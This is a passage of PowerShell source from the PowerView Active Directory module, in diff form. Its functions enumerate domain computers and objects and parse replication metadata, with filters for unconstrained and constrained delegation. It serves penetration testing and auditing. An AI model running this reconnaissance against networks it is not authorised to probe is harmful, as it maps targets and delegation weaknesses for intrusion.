[ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($CompSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } + } + $CompSearcher.dispose() + } + } +} + + +function Get-DomainObject { +<# +.SYNOPSIS + +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainObject -Domain testlab.local + +Return all objects for the testlab.local domain + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } + } +} + + +function Get-DomainObjectAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory attribute replication metadata for the specified +object, i.e. a parsed version of the msds-replattributemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. +This is the domain attribute replication metadata associated with the object. The results are +parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAttributeHistory -Domain testlab.local + +Return all attribute replication metadata for all objects in the testlab.local domain. + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft + +ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat + e ingChange ingDsaDN +-------- ---------- ------------ ------------ ------- ------------ +CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... +CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... +CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... + +.EXAMPLE + +Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl + +ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local +ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb +AttributeName : userAccountControl +LastOriginatingChange : 2017-03-07T19:56:27Z +Version : 4 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replattributemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Get-DomainObjectLinkedAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory links attribute value replication metadata for the +specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. +This is the domain linked attribute value replication metadata associated with the object. The +results are parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a + +Count Name +----- ---- + 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local + 4 CN=Users,CN=Builtin,DC=testlab,DC=local + 2 CN=Guests,CN=Builtin,DC=testlab,DC=local + 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local + 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local + 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local + 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local + 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local + 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local + 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local + 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local + 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... + 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... + 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local + 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local + + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory + +ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-06-13T22:20:02Z +TimeCreated : 2017-06-13T22:20:02Z +LastOriginatingChange : 2017-06-13T22:20:22Z +Version : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local + +ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local +ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 +AttributeName : member +AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local +TimeDeleted : 2017-04-10T22:17:19Z +TimeCreated : 2017-04-10T22:17:19Z +LastOriginatingChange : 2017-04-10T22:17:19Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectLinkedAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectLinkedAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + 